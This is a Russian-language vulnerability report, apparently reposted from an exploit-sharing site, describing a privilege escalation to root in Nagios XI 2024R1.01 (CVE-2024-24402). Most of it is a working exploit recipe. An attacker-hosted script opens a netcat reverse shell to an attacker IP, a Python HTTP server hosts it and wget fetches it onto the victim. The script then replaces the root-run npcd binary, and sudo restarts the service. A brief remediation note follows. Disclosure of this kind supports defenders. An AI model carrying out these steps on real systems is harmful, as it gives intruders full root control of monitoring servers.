Отчёт об уязвимости

CVE обнаружено: Jarod Jaslow (MAWK)

Сведения об уязвимости:

• Конечная точка: Nagios XI версии 2024R1.01
• Тип уязвимости: Повышение привилегий от пользователя «NAGIOS»
• Результат эксплуатации: Полный root-доступ к целевой системе

Шаги воспроизведения:

1. Создайте новый экземпляр Nagios XI версии 2024R1.01:

• Загрузите файл OVA Nagios XI по ссылке: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova
• Разверните OVA, чтобы создать новый экземпляр. -Используя мой предыдущий отчёт, получите RCE на сервере

2. Используйте повышение привилегий:

• От имени пользователя «NAGIOS» создайте на машине атакующего файл со следующим содержимым:

  root@kitploit:~

  #!/bin/bash
  nc -e /bin/bash <Attacker IP> 4445
  

• Разместите файл на машине атакующего с помощью Python HTTP-сервера:

  root@kitploit:~

  python3 -m http.server 8000
  

• Запустите прослушивающий сервер Netcat (NC) на машине атакующего:

  root@kitploit:~

  nc -nlvp 4445
  

3. Выполните эксплуатацию на компьютере жертвы:

• Загрузите файл с машины атакующего:

  root@kitploit:~

  wget http://<Attacker IP>:8000/npcd
  

• Выполните следующие команды для повышения привилегий и получения соединения с правами root:

  root@kitploit:~

  sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
  cp npcd /usr/local/nagios/bin/npcd
  sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
  

Рекомендация:

Рекомендуется ограничить возможность пользователя «NAGIOS» записывать в исполняемые файлы служб Nagios, которые запускаются с правами root. Этого можно достичь путём внедрения более строгих прав на файлы и механизмов контроля доступа для соответствующих каталогов и файлов, связанных со службами Nagios.

Это должно быть исправлено в новых выпусках.

CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-24402